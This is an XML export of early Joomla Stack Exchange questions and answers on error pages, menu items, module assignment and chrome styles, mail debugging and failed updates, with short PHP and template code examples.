  <row Id="64" PostTypeId="1" AcceptedAnswerId="448" CreationDate="2014-04-22T19:22:46.740" Score="4" ViewCount="862" Body="&lt;p&gt;Joomla is correctly detecting when a page is not found, and redirects me to the error page I have setup. Unfortunately, I've found that the error code being returned is a &lt;code&gt;500&lt;/code&gt;, instead of a 404, and this is coming from Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to get Joomla to return a &lt;code&gt;404&lt;/code&gt; in this case?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="126" LastEditDate="2015-08-21T18:20:25.820" LastActivityDate="2015-08-21T18:20:25.820" Title="My 404 page returns a 500" Tags="|url|seo|error-pages|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="65" PostTypeId="2" ParentId="64" CreationDate="2014-04-22T19:26:56.817" Score="2" Body="&lt;p&gt;It sounds like your error page may have the wrong permissions set on it so that it isn't able to show, so you end up with a 500 error instead. 500 errors are almost always caused by two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Something wrong in your htaccess file&lt;/li&gt;&#xA;&lt;li&gt;bad permissions on a file or folder&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;there are other causes, but in my experience those are the two biggies.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-04-22T19:26:56.817" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="66" PostTypeId="1" CreationDate="2014-04-22T19:29:49.770" Score="6" ViewCount="1342" Body="&lt;p&gt;Currently in Joomla 3.2, selecting &quot;Save as copy&quot; on a menu item copies the details but not the module assignments into a new menu item. (I believe module assignments were copied in Joomla 2.5)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to copy menu items in Joomla 3.2 while also copying module assignments? &lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="126" LastEditDate="2015-08-21T18:21:22.340" LastActivityDate="2016-03-20T02:53:59.130" Title="Copying Joomla Menu Items and keeping Module assignements" Tags="|module|cms|menu|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="67" PostTypeId="2" ParentId="56" CreationDate="2014-04-22T19:31:15.470" Score="8" Body="&lt;p&gt;Joomla uses PHPMailer as mail handler. PHPMailer has a nice SMTP log if you turn it on. You can do this by setting the SMTPDebug variable to true&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer = JFactory::getMailer();&#xA;&#xA;$mailer-&amp;gt;SMTPDebug = true;&#xA;&#xA;$mailer-&amp;gt;setSender($settings-&amp;gt;sender);&#xA;$mailer-&amp;gt;addRecipient($settings-&amp;gt;to);&#xA;$mailer-&amp;gt;setSubject($settings-&amp;gt;subject);&#xA;$mailer-&amp;gt;isHTML(true);&#xA;$mailer-&amp;gt;setBody($settings-&amp;gt;body);&#xA;if($send = $mailer-&amp;gt;Send()){&#xA;  //email worked&#xA;  //print_r($settings);&#xA;  //exit;&#xA;}else{&#xA;  echo 'error';&#xA;  exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should help you find the problem in the communication between Joomla and the smtp server.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-22T19:31:15.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="68" PostTypeId="1" AcceptedAnswerId="78" CreationDate="2014-04-22T19:32:24.460" Score="8" ViewCount="5880" Body="&lt;p&gt;I have asigned a module to pages according to their menu items in the module parameters but I would like to hide/show it on specific pages that don't have a menu item linking to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I control module display on these pages?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="126" LastEditDate="2015-08-21T18:29:34.593" LastActivityDate="2017-07-30T00:05:50.793" Title="How can I control the module display on pages with no menu item?" Tags="|module|menu-item|module-display|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="69" PostTypeId="1" CreationDate="2014-04-22T19:32:27.323" Score="16" ViewCount="199" Body="&lt;p&gt;Does anyone know a better way to show a template's positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that appending &quot;...?tp=1&quot; to url is rather klunky and sometimes hard to read?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="84" LastEditorUserId="126" LastEditDate="2015-08-21T18:28:20.693" LastActivityDate="2015-08-21T18:28:20.693" Title="Is there a better way to show template's module positions?" Tags="|templates|positions|cms|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="70" PostTypeId="2" ParentId="66" CreationDate="2014-04-22T19:33:24.210" Score="7" Body="&lt;p&gt;You can't do that as modules are assigned to a menu item id and saving a menu item as new will give it a new menu Id which no modules are assigned to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving an item will keep its id but not copying.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2014-04-22T19:33:24.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="72" PostTypeId="2" ParentId="1" CreationDate="2014-04-22T19:34:44.670" Score="10" Body="&lt;p&gt;AFAIK there isn't a built in way to do easy subqueries, which is probably a deficiency in the system and should be corrected via PR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I see no issue with your example - seems reasonable enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~~~ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example in response to @DavidFritsch's comment below. The more that I think about it though, the better I like the more simple approach displayed in the OP. It's more clear what's going on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;db-&amp;gt;getQuery(true)&#xA;  -&amp;gt;select('a.*')&#xA;  -&amp;gt;subQuery()&#xA;    -&amp;gt;select('b.*')&#xA;    -&amp;gt;from('#__table_b AS b')&#xA;    -&amp;gt;as('subQueryResult')&#xA;  -&amp;gt;endSubQuery()&#xA;  -&amp;gt;from('#__table_a AS a');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-04-25T02:07:53.577" LastActivityDate="2014-04-25T02:07:53.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="73" PostTypeId="2" ParentId="2" CreationDate="2014-04-22T19:37:52.623" Score="-11" Body="&lt;p&gt;Core Joomla SEF is not currently sufficient if you want to maximize your SEO. SEO is so much more than SEF URLs. sh404SEF, and others like it are complex but complete solutions. If your serious about SEO, you need a serious tool.&lt;/p&gt;&#xA;" OwnerUserId="86" LastActivityDate="2014-04-22T19:37:52.623" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="74" PostTypeId="2" ParentId="68" CreationDate="2014-04-22T19:42:34.443" Score="8" Body="&lt;p&gt;You can't do it with default Joomla. Only by menu item.&#xA;Take a look at advanced module manager by RegularLabs which gives you more assignment options.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2017-07-30T00:05:50.793" LastActivityDate="2017-07-30T00:05:50.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="75" PostTypeId="2" ParentId="69" CreationDate="2014-04-22T19:43:41.250" Score="7" Body="&lt;p&gt;I tend to use commercial templates, and they provide a nice graphical map I can use as a guide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, you might want to mess with &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/administration/admin-navigation/jsn-poweradmin&quot; rel=&quot;nofollow&quot;&gt;PowerAdmin by Joomlashine&lt;/a&gt; (It's not a template, it's an enhancement to the admin). It's got a nifty layout that lets you see the different positions and what modules are loaded in them.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="5239" LastEditDate="2015-05-26T19:14:55.383" LastActivityDate="2015-05-26T19:14:55.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="76" PostTypeId="2" ParentId="68" CreationDate="2014-04-22T19:45:29.247" Score="2" Body="&lt;p&gt;Joomla it self can only use the menuitems to control the visibility of modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you can do is to hide the module position in the template something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates//index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('id') == 4711) : ?&amp;gt;&#xA;  &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;submenu&quot; /&amp;gt; &#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will display the modules in the &quot;submenu&quot; position if the id parameter is &quot;4711&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You see that this method needs some php knowledge and may not fit your needs.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-22T19:45:29.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="77" PostTypeId="2" ParentId="68" CreationDate="2014-04-22T19:50:59.983" Score="4" Body="&lt;p&gt;To get around issues like this, I normally create a 'hidden' menu which is not placed anywhere on the site. By doing so, I can specify the URL of specific pages and can apply modules to them (as you are trying to do) as well as templates. &lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2014-04-22T19:50:59.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="78" PostTypeId="2" ParentId="68" CreationDate="2014-04-22T19:51:56.220" Score="20" Body="&lt;p&gt;&lt;strong&gt;Solution 1 : hidden menu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your pages also need pretty sef urls, you can make a hidden menu and link those articles in the hidden menu. A hidden menu means that you don't create a module for it, you just create it in the menu manager, so it's never visible as a true menu to the end user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Joomla sees this as a real menu (even though it's not visible), you will be able to assign modules to each one of them by selecting the hidden menu items in the module parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Since Joomla 3.5 you can now choose to hide menu items in a published menu by going to the Link Type tab in the menu item and changing &quot;Display in Menu&quot; to &quot;No&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 2 : advanced module manager&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, Regular Labs (previousl called NoNumber) Advanced Module Manager is absolutely the way to go. Advanced Module manger lets you assign modules based on a large number of criteria such as category, component, url, menu item, language. You can even use it to publish things to specific users or groups of users.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2017-04-20T19:35:06.803" LastActivityDate="2017-04-20T19:35:06.803" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="79" PostTypeId="2" ParentId="68" CreationDate="2014-04-22T19:58:06.717" Score="3" Body="&lt;p&gt;Try using No Number extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/advancedmodulemanager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advanced module manager allows you to do a lot of specific assignments, so you could actually set it up to match a menu item only if &quot;abc&quot; is in the url path, or by specific article, or component, even day of the week. You can even write custom php functions to create your own selectors. You can use &quot;any&quot; or &quot;all&quot; matches, it's pretty awesome. All his other extensions are pretty great too, totally worth purchasing Pro, but even the base free stuff is great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry - I started writing this like 20 minutes ago and got interrupted then posted it without knowing everyone already suggested this!! But I'm leaving it because it makes me feel like I'm part of a team of people who know stuff.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-04-22T19:58:06.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="80" PostTypeId="1" AcceptedAnswerId="84" CreationDate="2014-04-22T20:10:53.667" Score="6" ViewCount="2722" Body="&lt;p&gt;When I add a module statement in a joomla template, I always use this code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;left&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does the &lt;code&gt;style&lt;/code&gt; attribute stand for and what other styles can I use?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="126" LastEditDate="2015-08-21T14:15:53.387" LastActivityDate="2015-08-21T14:15:53.387" Title="What are the module styles?" Tags="|module|templates|module-style|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="81" PostTypeId="2" ParentId="80" CreationDate="2014-04-22T20:15:50.960" Score="0" Body="&lt;p&gt;This will be helpful for learning more about Module Chrome Styles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Standard_Module_Chromes&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Standard_Module_Chromes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2014-04-22T20:15:50.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="82" PostTypeId="2" ParentId="80" CreationDate="2014-04-22T20:19:05.947" Score="1" Body="&lt;p&gt;This may help if you're wanting to make your own Chrome styles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Applying_custom_module_chrome&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Applying_custom_module_chrome&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-04-22T20:19:05.947" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="83" PostTypeId="1" CreationDate="2014-04-22T20:19:09.053" Score="7" ViewCount="60" Body="&lt;p&gt;I spend a lot of time in South Florida (Ft. Lauderdale, Miami and the Florida Keys).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no Joomla! User Groups here (yet), and I think Miami and the surrounding areas really need one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I start a local Joomla! User Group?&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2014-04-22T20:27:07.237" Title="How do I start a local Joomla! User Group?" Tags="|joomla-user-groups|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ClosedDate="2014-04-24T04:56:02.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="84" PostTypeId="2" ParentId="80" CreationDate="2014-04-22T20:20:13.447" Score="14" Body="&lt;p&gt;By default you could use the following styles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;none (output raw module content)&lt;/li&gt;&#xA;&lt;li&gt;html5 (chosen html5 tag and font headder tags)&lt;/li&gt;&#xA;&lt;li&gt;table (wraps the module in a table)&lt;/li&gt;&#xA;&lt;li&gt;horz (wraps the tabled module output in a  tag of another table)&lt;/li&gt;&#xA;&lt;li&gt;xhtml (divs and font headder tags)&lt;/li&gt;&#xA;&lt;li&gt;rounded (allows for rounded corners by wrapping in nested div tags)&lt;/li&gt;&#xA;&lt;li&gt;outline (add preview information to the module)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also create custom functions by creating a modules.php file in your template html folder and name the function modChrome_&quot;yourname&quot; for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modChrome_pre($module, &amp;amp;$params, &amp;amp;$attribs) {&#xA;  echo '&amp;lt;pre&amp;gt;'.$module-&amp;gt;content.'&amp;lt;/pre&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And use this in your template to use this chrome style&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;left&quot; style=&quot;pre&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More about modules styling could be found at &lt;a href=&quot;http://docs.joomla.org/Customising_the_way_modules_are_displayed&quot;&gt;http://docs.joomla.org/Customising_the_way_modules_are_displayed&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-22T20:20:13.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="85" PostTypeId="1" AcceptedAnswerId="131" CreationDate="2014-04-22T20:26:08.793" Score="14" ViewCount="784" Body="&lt;p&gt;&lt;strong&gt;*NOTE:  This is &lt;em&gt;not&lt;/em&gt; a 'which is better' question!*&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress and Joomla! are both awesome open-source CMSs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the key differences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) in the software architecture between Joomla! and Wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) in the way in which extensions to the core (out-of-the-box) functionality are made? and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) How the core and extensions are upgraded and updated?&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2014-11-28T19:29:27.953" Title="What are the key differences between Wordpress and Joomla!'s software architecture and how their core functions are extended?" Tags="|update|extensions|software-architecture|maintenance|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="86" PostTypeId="2" ParentId="83" CreationDate="2014-04-22T20:27:07.237" Score="6" Body="&lt;p&gt;This page might help. It outlines the requirements:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://community.joomla.org/user-group-faqs.html&quot;&gt;http://community.joomla.org/user-group-faqs.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may also help, though the audio is pretty bad:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=QbFhjPIzQoY&quot;&gt;https://www.youtube.com/watch?v=QbFhjPIzQoY&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-04-22T20:27:07.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="87" PostTypeId="1" AcceptedAnswerId="94" CreationDate="2014-04-22T20:27:12.300" Score="4" ViewCount="2792" Body="&lt;p&gt;I would like to update my site. This is what the update page says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Installed Joomla! version   3.2.0&#xA;Latest Joomla! version  3.2.3&#xA;Update package URL  http://joomlacode.org/gf/download/frsrelease/19240/158108/Joomla_3.2.x_to_3.2.3-Stable-Patch_Package.zip &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Installation method is set to &quot;Write files directly&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after starting the update process, it takes forever without ever ending. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to make the update work?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I have read that it may have to do with some PHP settings, but I could not make it work. &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=750361&quot; rel=&quot;nofollow&quot;&gt;Example 1&lt;/a&gt;  and &lt;a href=&quot;http://www.hotjoomlatemplates.com/blog/joomla-installation/164-problems-with-joomla-25-update&quot; rel=&quot;nofollow&quot;&gt;example 2&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of my settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Directory Permissions are all on &quot;writable&quot;. &lt;/li&gt;&#xA;&lt;li&gt;Log and temp path do&#xA;exist (I use a url rewrite for public access, but I have checked the paths are correct according to the recommendation on the hotjoomlatemplates page)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Update: This is an excerpt from joomla_update.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-04-22T20:15:06+00:00   INFO    update  Update started by user Super User (279). Old version is 3.2.0.&#xA;2014-04-22T20:15:06+00:00   INFO    update  File Joomla_3.2.x_to_3.2.3-Stable-Patch_Package.zip successfully downloaded.&#xA;2014-04-22T20:15:06+00:00   INFO    update  Starting installation of new version.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;error.php&lt;/code&gt; is no significant information.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="36" LastEditDate="2014-04-23T22:09:02.633" LastActivityDate="2014-04-23T23:02:42.763" Title="Updating your Joomla! files. Please wait ... (forever?)" Tags="|update|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="88" PostTypeId="2" ParentId="69" CreationDate="2014-04-22T20:28:56.353" Score="4" Body="&lt;p&gt;I use to create custom HTML saying the name of the position I'm putting it in, it's a great and easy way to locate all positions ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I create an ipsum article, make a menu item &quot;special&quot; category access for it, and assign all these test modules to appear just in that menu item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way I have all positions, including component one, and being custom HTML I can use to make a first draft.&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2014-04-22T20:28:56.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="89" PostTypeId="2" ParentId="68" CreationDate="2014-04-22T20:31:28.723" Score="2" Body="&lt;p&gt;Easy and powerful way is, as suggested using nonumber.nl advanced module manager extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Time consuming, also easy way is to create hidden menu items for these pages, but beware this will change their SEF&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this also to make 1st level SEF urls for items in a submenu (by menu alias)&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2014-04-22T20:31:28.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="90" PostTypeId="2" ParentId="49" CreationDate="2014-04-22T20:34:09.220" Score="3" Body="&lt;p&gt;It depends on your license, as I understand, if you have a developers license, yes, you can use these extensions in all sites you create for thirds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a &quot;usual&quot; license, you may only use it in the number of sites your license allows you too (if limited, usually 3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension is GPL, the license for software updates and support is not.&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2014-04-22T20:34:09.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="91" PostTypeId="1" AcceptedAnswerId="115" CreationDate="2014-04-22T20:41:05.023" Score="4" ViewCount="928" Body="&lt;p&gt;I would like to make a Menu item for a contact form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to either make a modal calling whatever contains the form (component/module/article) or opening it as a submenu, like in yootheme templates for modules (usually used for login)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to do it easily?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="92" LastEditorUserId="126" LastEditDate="2015-08-21T18:27:10.507" LastActivityDate="2015-09-23T10:42:39.810" Title="How can I make a modal menu item?" Tags="|menu|modal|styling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="92" PostTypeId="5" CreationDate="2014-04-22T20:42:38.637" Score="0" Body="&lt;h2&gt;Extensions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;An extension is a software package that extends your Joomla! installation in some way. A small selection of extensions is included with the default Joomla! installation but many more are available from the Joomla! Extensions Directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The term extension is generic and the following specific extension types are available in Joomla (listed alphabetically):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Component&lt;/strong&gt; (since Joomla 1.0) – adds custom functions to your site that can be selected from menus&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Language&lt;/strong&gt; (since Joomla 1.0) – defines an additional language for your site&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Library&lt;/strong&gt; (since Joomla 2.5) – provides functions to be used by other extensions&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Module&lt;/strong&gt; (since Joomla 1.0) – shows nonessential data in a side box, possibly on multiple pages&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Package&lt;/strong&gt; (since Joomla 2.5) – bundles related extensions&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Plugin&lt;/strong&gt; (since Joomla 1.5) – modifies content in articles or provides functions to extend other extensions&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Template&lt;/strong&gt; (since Joomla 1.0) – define the look, feel, and navigation capabilities of your site&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PO3tT.jpg&quot; alt=&quot;Joomla Extensions&quot;&gt;&#xA;&lt;em&gt;(Image from &lt;a href=&quot;http://docs.joomla.org/File:Extensions.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/File:Extensions.jpg&lt;/a&gt;, licensed under the &lt;a href=&quot;http://docs.joomla.org/JEDL&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Electronic Documentation License&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:28:25.687" LastActivityDate="2015-08-21T15:28:25.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="93" PostTypeId="4" CreationDate="2014-04-22T20:42:38.637" Score="0" Body="An extension is a software package that extends your Joomla! installation in some way. The most common Joomla extensions are Templates, Components, Modules and Plugins." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-02T19:11:47.140" LastActivityDate="2014-08-02T19:11:47.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="94" PostTypeId="2" ParentId="87" CreationDate="2014-04-22T20:44:28.210" Score="9" Body="&lt;p&gt;It is always possible to download the Joomla update from &lt;a href=&quot;http://www.joomla.org/download.html&quot;&gt;http://www.joomla.org/download.html&lt;/a&gt; and use the standard Install process. The end result is the same as using the built-in updater.&lt;/p&gt;&#xA;" OwnerUserId="94" LastActivityDate="2014-04-22T20:44:28.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="95" PostTypeId="5" CreationDate="2014-04-22T20:44:52.157" Score="0" Body="&lt;p&gt;Modules are lightweight and flexible extensions used for page rendering. These modules are often “boxes” arranged around a component on a typical page. A well-known example is the login module. Modules are assigned per menu item, so you can decide to show or hide (for example) the login module depending on which page (menu item) the user is currently on. Some modules are linked to components: the “latest news” module, for example, links to the content component (com_content) and displays links to the newest content items. However, modules do not need to be linked to components; they don't even need to be linked to anything and can be just static HTML or text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules are managed in the Joomla! Administrator view by the Module Manager.&lt;/p&gt;&#xA;" OwnerUserId="92" LastEditorUserId="92" LastEditDate="2014-04-22T22:29:41.213" LastActivityDate="2014-04-22T22:29:41.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="96" PostTypeId="4" CreationDate="2014-04-22T20:44:52.157" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-22T20:44:52.157" LastActivityDate="2014-04-22T20:44:52.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="97" PostTypeId="1" AcceptedAnswerId="98" CreationDate="2014-04-22T20:49:36.380" Score="10" ViewCount="10681" Body="&lt;p&gt;How do I disable the loading of &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;mootools-core.js&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;core.js&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; without using a third party component/plugin?&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2017-10-17T18:13:55.143" Title="Disable script loading in head" Tags="|header|mootools|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
